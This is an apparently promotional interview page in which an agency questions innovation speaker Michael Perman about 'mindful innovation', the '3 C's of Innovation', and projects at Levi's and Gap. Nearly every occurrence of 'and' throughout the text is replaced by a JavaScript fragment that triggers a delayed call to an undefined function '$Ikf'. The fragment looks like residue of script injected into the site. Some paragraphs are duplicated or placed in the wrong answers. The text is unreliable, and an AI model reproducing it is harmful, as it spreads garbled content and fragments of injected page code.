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Create a Future of Prosperity with Innovation Speaker, Michael Perman


Innovation keynote speaker, Michael Perman helps teams crack the innovation paradox to generate actionable ideas, breakthrough products, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and revolutionary customer experiences. The founder of C’EST WHAT?, a firm dedicated to cultivating "mindful innovation," Perman has a proven track record of leading senior executives andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and inspiring thousandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands of employees to capitalize on their collective creativity. He has been a innovation force behind iconic brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands for 30 years. Most recently, he served as Dean of Innovation at Gap Inc.(including Banana Republic, Old Navy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Athleta) where he pioneered Mindspark Initiatives to expandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and employee thinking, build harmonic teams, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and establish innovative ecosystems.

Our minds have huge potential, which often remains untapped due to reliance on more reductive or analytical innovation tools. Mindful innovation accesses sub-conscious thinking andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the collective consciousness of energy where deeper andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and newer ideas exist but have yet to emerge.

CORE Agency You specialize in “mindful innovation.” What characteristics set mindful innovation apart from traditional innovation techniques?

Create a Future of Prosperity with Innovation Speaker, Michael Perman
Mindful Innovation is a contemporary evolution of traditional Design Thinking, which has been around for a few decades. Traditional Design Thinking is human-centric, generally based on observational or ethnographic research, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and leverages empathy to design new products andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and experiences.

Mindful Innovation draws from the latest thinking on neuroscience andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and consciousness to better understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the meaning that people are seeking from aspects of their life. Innovation is the ability to perceive alternative realities andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the courage to move toward those visions. Being mindful, then, in an organizational setting enables our minds to perceive these alternatives.

Our minds have huge potential, which often remains untapped due to reliance on more reductive or analytical innovation tools. Mindful innovation accesses sub-conscious thinking andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the collective consciousness of energy where deeper andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and newer ideas exist but have yet to emerge. The method values “stillness” andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and “being” more than just doing. Mindful Innovation also devotes attention to empathy for the creators andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and designers in our lives, whose minds work in unique ways in order to develop what’s next. Finally, Mindful Innovation devotes attention to the impact that new products andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and experiences are having on people andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and our planet.

CORE Agency What are the “3 C’s of Innovation” andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and why are these factors important to a successful evolution of products andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and services?

Create a Future of Prosperity with Innovation Speaker, Michael Perman
The “3 C’s of Innovation” are: understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding what people crave, what concerns them andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and what brings them comfort.

These three questions are connected to natural hormones our body produces under certain situations - dopamine, cortisol andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and oxytocin, respectively. Understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding how these hormones get delivered is relevant to consumer research teams andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and teams in organizations doing ideation andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and concept development work.

For example, research studies by Dr. Paul Zak, Director of the Center for Neuroeconomics Studies andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Professor of Economics, Psychology andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Management at Claremont Graduate University, have proven that oxytocin (which is released by hugging, dancing, singing or other shared experiences) generates empathy leading to trust. This helps people open up andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and also provides clues on how to satisfy people’s desires so that they are truly comfortable, happy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and at peace.

From a brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding perspective, these people CRAVED the opportunity to create what’s happening next in the world, or in other words to 'shape what’s to come'.

CORE Agency You’ve made numerous contributions to several iconic brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands including Levi’s, Starbucks, GAP, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and adidas. Could you give us an example of how a project you worked on benefitted from the 3 C’s of Innovation?

Create a Future of Prosperity with Innovation Speaker, Michael Perman
At Levi’s, we used the “3 C’s” concept to reinvent the women’s division. Levi’s had traditionally been a men’s-oriented brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and we needed to relate to Millennial women in new ways in order to grow.

To get into the hearts andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and minds of women who were not buying our brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, we conducted extensive ethnographic research in a dozen countries as well as Zeitgeist conversations with influential thought leaders. From a brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding perspective, these people CRAVED the opportunity to create what’s happening next in the world, or in other words to “shape what’s to come”. Insights from this work influenced Levi’s brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and strategy, illuminated our Explorer archetype andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and led to the creation of Levi’s “Go Forth” campaign.

From a practical perspective, women were CONCERNED that buying jeans was frustrating andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and tedious because the majority of jeans they tried did not fit. How discouraging!

What brought them COMFORT? A new fitting system that was designed for the ways their bodies were shaped, rather than the body of supermodel. To achieve this, we scanned more than 5,000 women’s bodies from around the world andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and created a line of jeans based primarily on the SHAPE of women’s bodies rather than their size, an initiative that proved to be a huge breakthrough.

CORE Agency What guidelines do you recommend for vetting multiple ideas andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and deciding which ones to invest in?

Create a Future of Prosperity with Innovation Speaker, Michael Perman
Co-creating is the first andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and best way to vet ideas. An early stage idea has only a fraction of relevance in its nascent stage. Bringing other thought partners into the mix will improve ideas andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and also help you learn about their potential. The energy that emanates from that co-creation process also provides clues regarding the potential for the ideas in the marketplace.

I recommend a technique called “itemized response”, an element from Synectics. It’s a way of scrutinizing the value of ideas by indicating what you love about them andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and what concerns you. Then, devoting some attention to ideation on solving the concerns helps vet the idea further.

The truth is innovation is hard andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and requires skills, insights, foresights, tenacity, courage, passion andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and resilience! It is so much more than coming up with ideas, but many leaders falsely assume that everyone has those skills just because they can write on a post-it note in a room full of bean bags.

CORE Agency Why do you feel that innovation is not everyone’s job, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and if it’s not everyone’s job, whose job is it?

Create a Future of Prosperity with Innovation Speaker, Michael Perman
Well, everyone’s job is not everyone’s job. If it were, there would be chaos!

Accounting is not everyone’s job andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and distribution is not everyone’s job. Yet, leaders sometimes assume that innovation is - as if it’s so easy to do.

The truth is innovation is hard andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and requires skills, insights, foresights, tenacity, courage, passion andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and resilience! It is so much more than coming up with ideas, but many leaders falsely assume that everyone has those skills just because they can write on a post-it note in a room full of bean bags.

Innovation is the job for people who are willing to go the distance, learn skills, apply them andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and be ready to meet the natural resistance to new ideas that occurs in large organizations.

At Gap, we had 30 Innovation Acrobats, trained to lead innovation andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and advocate a culture of creativity. They trained for nearly a year before they were certified to lead. Those 30 catalysts influence more than 2,000 employees who participated in our MINDSPARK innovation program, which really influenced culture while the program was alive.

CORE Agency You’ve worked with both global household names andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and smaller organizations. How does the size andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and legacy of a company affect the strategies you use to foster a culture of innovation?

Create a Future of Prosperity with Innovation Speaker, Michael Perman
Size does not matter. Legacy helps provide an anchor from which innovation can emerge. Great companies have deep roots that are alive with growth potential.

CORE Agency Why is empathy important to the innovative process andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and what are a few steps companies can take to increase empathy in their corporate culture?

Create a Future of Prosperity with Innovation Speaker, Michael Perman
Empathy is about seeing what other people see, feeling what they feel andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and getting into how they think. You can’t really create anything relevant unless you have a firm grasp on empathy.

The three main skills for empathy are opening up, leading curious conversations andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and devoting attention to depth andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and detail. Ethnography andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the story telling that emerges from ethnographic sessions is the key activation tool. Senior executives need to get out andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and experience their customer or constituents first-handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and then set a leadership tone for others to follow.

Too many companies want to rush the innovation andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ideation process with this attitude of “Get those ideas andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and get them now!” However, fear andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and urgency does not usually work.

CORE Agency 50% of those in the U.S. workforce self-identify as introverts. What can organizations do to maximize introverts’ contributions to innovation andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and problem solving within a team setting?

Create a Future of Prosperity with Innovation Speaker, Michael Perman
I love this question because I’m an introvert andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and people like me are easily misunderstood. I love public speaking andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and intimate conversations, but I don’t need to be the loudest person in the room during a meeting. Introverts get their energy from quiet spaces andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and need those spaces to re-fuel. Organizations can provide those safe havens for imagination to occur.

Mindful Innovation is especially helpful for introverts because it provides an atmosphere of comfort that inspires quiet thinkers to emerge. Introverts are reflective. Revealing their brilliance requires patience andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and acceptance because what comes out of their mouth is a fraction of what’s on their mind.

Too many companies want to rush the innovation andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ideation process with this attitude of “Get those ideas andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and get them now!” However, fear andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and urgency does not usually work. Introverts can freak out under that pressure, so ultimately, it’s better if organizations allow more time andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and longer innovation workshops for those ideas to emerge, because you never know when the magic is going to come.

CORE Agency What is the relationship between some of the elements you incorporate into your speaking andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and training programs – such as meditation andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and music – andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and organizations’ innovative capacities?

Create a Future of Prosperity with Innovation Speaker, Michael Perman
My innovation workshops follow an arc based on neuroscience andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and human emotion. People are often working together for the first time in workshops andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and they might be anxious about what’s expected of them, so we begin with meditation andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a form of group yoga to unify collective energy, provide a sense of stillness andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and make people ready to create. That also provides a dose of oxytocin, which we know leads to empathy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and trust.

Music andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and lyrics are valuable because they humanize our intellect andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and personify our emotion. The stories that emerge from music teach us something about ourselves andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the people around us.

I use several types of music depending on what we are trying to accomplish. At an event for Gap where we were reinventing the women’s division, we used a Peruvian digital violinist who also played with crystal balls that made sounds by connecting laser beams to an Ipad. She set the tone for people perceiving alternatives to reality, by demonstrating new realities of a musical instrument. At the same event, we hired a team of Irish Dancers who whipped our team into a dopamine high, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and fluttered their minds with ideas from the joy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and exhilaration they felt.

At a sales meeting for Banana Republic, we needed to create a tone of joy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and creativity among 1000 store managers who had been discouraged by poor sales. We worked with Grammy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Emmy nominee Peter Himmelman andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Big Muse to teach people how to write songs about joy. Then his rock bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and performed those songs improv style. The crowd went wild andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and was jazzed about the rest of the event.

I also like to incorporate music into my speaking events, because music makes the viewing experience more memorable, more surprising andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and less mundane, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and those three qualities are the essence of innovation.

CORE Agency How can people keep that “creative mojo” flowing when they go back to their regular work environment after attending one of your dynamic workshops andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and presentations?

Create a Future of Prosperity with Innovation Speaker, Michael Perman
They can keep the mojo flowing by applying the skills andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and new attitudes they learned, undaunted. For example, everyone can be a catalyst to build their own personal creative ecosystem. They can use new words to express ideas or build on ideas shared by co-workers. They can stimulate their thinking from zones outside their normal sphere of influence. They can be brave advocates for creativity andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and tenacious catalysts for transformation. They can stay curious. Every personal encounter, every meeting andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and every event leads to the mojo flowing.

To bring innovation keynote speaker Michael Perman to your organization, please contact Michael Frick at: Mike@Speaking.com






AUTHOR

Creativity expert, Michael Perman helps teams crack the innovation paradox to generate actionable ideas, breakthrough products, and revolutionary customer experiences. The founder of C’EST WHAT?, a firm dedicated to cultivating "mindful innovation," Perman has a proven track record of leading senior executives and inspiring thousands of employees to capitalize on their collective creativity. Perman has been a innovation force behind iconic brands for 30 years. Most recently, he served as…... more


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Core: the central, innermost, or most essential part of anything.
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